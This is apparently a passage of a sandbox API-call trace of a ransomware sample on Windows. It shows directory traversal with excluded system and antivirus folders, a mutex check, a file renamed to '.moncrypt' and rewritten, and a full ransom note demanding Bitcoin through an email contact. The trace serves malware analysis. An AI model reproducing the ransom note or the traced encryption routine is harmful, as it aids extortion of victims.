nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="呤U䱠@∜R企@\x18?T\x18\x8f")) returned 0xffffffff [0048.224] GetLastError () returned 0x2 [0048.224] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\", cchLength=0x5e | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\") returned 0x5e [0048.224] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69a38, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0048.224] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\") returned 7 [0048.225] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\Restore", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a18, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="呤U䱠@翌R企@\x18?T\x18\x97")) returned 0xffffffff [0048.225] GetLastError () returned 0x2 [0048.225] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\", cchLength=0x5e | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\") returned 0x5e [0048.225] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69a38, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0048.225] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.225] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.225] GlobalUnlock (hMem=0x44000c) returned 0 [0048.225] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.225] GlobalLock (hMem=0x440004) returned 0x557870 [0048.225] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.225] GlobalUnlock (hMem=0x44000c) returned 0 [0048.225] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.225] GlobalUnlock (hMem=0x440004) returned 0 [0048.225] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\", cchLength=0x5e | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\") returned 0x5e [0048.225] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0048.225] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0048.226] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\", cchLength=0x5e | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\") returned 0x5e [0048.226] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0048.226] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 46 [0048.226] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\", cchLength=0x5e | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\") returned 0x5e [0048.226] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0048.226] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0048.226] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\", cchLength=0x5e | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\") returned 0x5e [0048.226] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0048.226] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69a98, cbMultiByte=11, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0048.226] GlobalLock (hMem=0x440004) returned 0x555860 [0048.226] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.226] GlobalUnlock (hMem=0x440004) returned 0 [0048.226] GlobalLock (hMem=0x440004) returned 0x555860 [0048.226] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.226] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.226] GlobalUnlock (hMem=0x440004) returned 0 [0048.226] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.226] GlobalUnlock (hMem=0x44000c) returned 0 [0048.227] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\", cchLength=0x5e | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\") returned 0x5e [0048.227] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0048.227] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\", cchLength=0x5e | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\") returned 0x5e [0048.227] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69a38, cbMultiByte=11, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0048.227] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\", cchLength=0x5e | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\") returned 0x5e [0048.227] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69a38, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0048.227] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\", cchLength=0x5e | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\") returned 0x5e [0048.227] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=18, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 18 [0048.227] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\", cchLength=0x5e | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\") returned 0x5e [0048.227] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=28, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 28 [0048.228] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\", cchLength=0x5e | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\") returned 0x5e [0048.228] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69a38, cbMultiByte=10, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 10 [0048.228] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\", cchLength=0x5e | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\") returned 0x5e [0048.228] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69a38, cbMultiByte=8, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 8 [0048.228] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\", cchLength=0x5e | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\") returned 0x5e [0048.228] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69a38, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0048.228] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\", cchLength=0x5e | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\") returned 0x5e [0048.228] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=13, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 13 [0048.228] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.228] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.228] GlobalUnlock (hMem=0x44000c) returned 0 [0048.228] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.229] GlobalLock (hMem=0x440004) returned 0x557870 [0048.229] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.229] GlobalUnlock (hMem=0x44000c) returned 0 [0048.229] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.229] GlobalUnlock (hMem=0x440004) returned 0 [0048.229] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\*.*", lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0048.229] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.229] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58ed930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x646, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.XML", cAlternateFileName="ONENOT~1.XML")) returned 1 [0048.229] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e748 | out: lpLocalFileTime=0x18e748) returned 1 [0048.229] FileTimeToDosDateTime (in: lpFileTime=0x18e748, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.229] GlobalLock (hMem=0x440004) returned 0x555860 [0048.229] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.229] GlobalUnlock (hMem=0x440004) returned 0 [0048.229] GlobalLock (hMem=0x440004) returned 0x555860 [0048.229] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.229] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.229] GlobalUnlock (hMem=0x440004) returned 0 [0048.229] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.229] GlobalUnlock (hMem=0x44000c) returned 0 [0048.229] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.230] CharLowerBuffW (in: lpsz="OneNoteMUI.XML", cchLength=0xe | out: lpsz="onenotemui.xml") returned 0xe [0048.230] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.230] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.230] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.230] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.230] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.230] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.230] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.230] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.230] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.230] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.230] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.230] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.230] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.230] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.230] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt흘\x18\x06") returned 34 [0048.230] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", cchWideChar=108, lpMultiByteStr=0x18d6c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML\x06", lpUsedDefaultChar=0x0) returned 108 [0048.230] CharLowerBuffW (in: lpsz=".XML", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0048.230] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmlShared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML\x06", lpUsedDefaultChar=0x0) returned 4 [0048.230] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.231] WriteFile (in: hFile=0x190, lpBuffer=0x1e61dd8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61dd8*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0048.231] CloseHandle (hObject=0x190) returned 1 [0048.232] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\я")) returned 1 [0048.232] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", lpFindFileData=0x18e484 | out: lpFindFileData=0x18e484*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58ed930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x646, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.XML", cAlternateFileName="ONENOT~1.XML")) returned 0x54e280 [0048.232] FileTimeToLocalFileTime (in: lpFileTime=0x18e498, lpLocalFileTime=0x18e3b0 | out: lpLocalFileTime=0x18e3b0) returned 1 [0048.232] FileTimeToDosDateTime (in: lpFileTime=0x18e3b0, lpFatDate=0x18e466, lpFatTime=0x18e464 | out: lpFatDate=0x18e466, lpFatTime=0x18e464) returned 1 [0048.233] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0048.233] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", dwFileAttributes=0x20) returned 1 [0048.233] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d3c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18戟眵戤眵躢睘") returned 9 [0048.233] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml.moncrypt")) returned 1 [0048.234] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.234] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0048.234] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x646 [0048.234] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0048.234] ReadFile (in: hFile=0x190, lpBuffer=0x1dcd3b8, nNumberOfBytesToRead=0x646, lpNumberOfBytesRead=0x18e3b4, lpOverlapped=0x0 | out: lpBuffer=0x1dcd3b8*, lpNumberOfBytesRead=0x18e3b4*=0x646, lpOverlapped=0x0) returned 1 [0048.236] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.236] GlobalLock (hMem=0x440004) returned 0x557870 [0048.236] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.236] GlobalUnlock (hMem=0x44000c) returned 0 [0048.236] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.236] GlobalUnlock (hMem=0x440004) returned 0 [0048.236] GlobalLock (hMem=0x440004) returned 0x555860 [0048.236] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.236] GlobalUnlock (hMem=0x440004) returned 0 [0048.246] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.246] SetFileTime (hFile=0x190, lpCreationTime=0x18e454, lpLastAccessTime=0x18e44c, lpLastWriteTime=0x18e444) returned 1 [0048.247] CloseHandle (hObject=0x190) returned 1 [0048.247] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.moncrypt", dwFileAttributes=0x20) returned 1 [0048.247] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18d6e8, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0048.247] GlobalLock (hMem=0x440004) returned 0x555860 [0048.247] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.247] GlobalUnlock (hMem=0x440004) returned 0 [0048.247] GlobalLock (hMem=0x440004) returned 0x555860 [0048.247] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.247] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.247] GlobalUnlock (hMem=0x440004) returned 0 [0048.247] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.247] GlobalUnlock (hMem=0x44000c) returned 0 [0048.247] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0048.247] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e49c | out: lpFindFileData=0x18e49c*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557870, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e69a48, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, 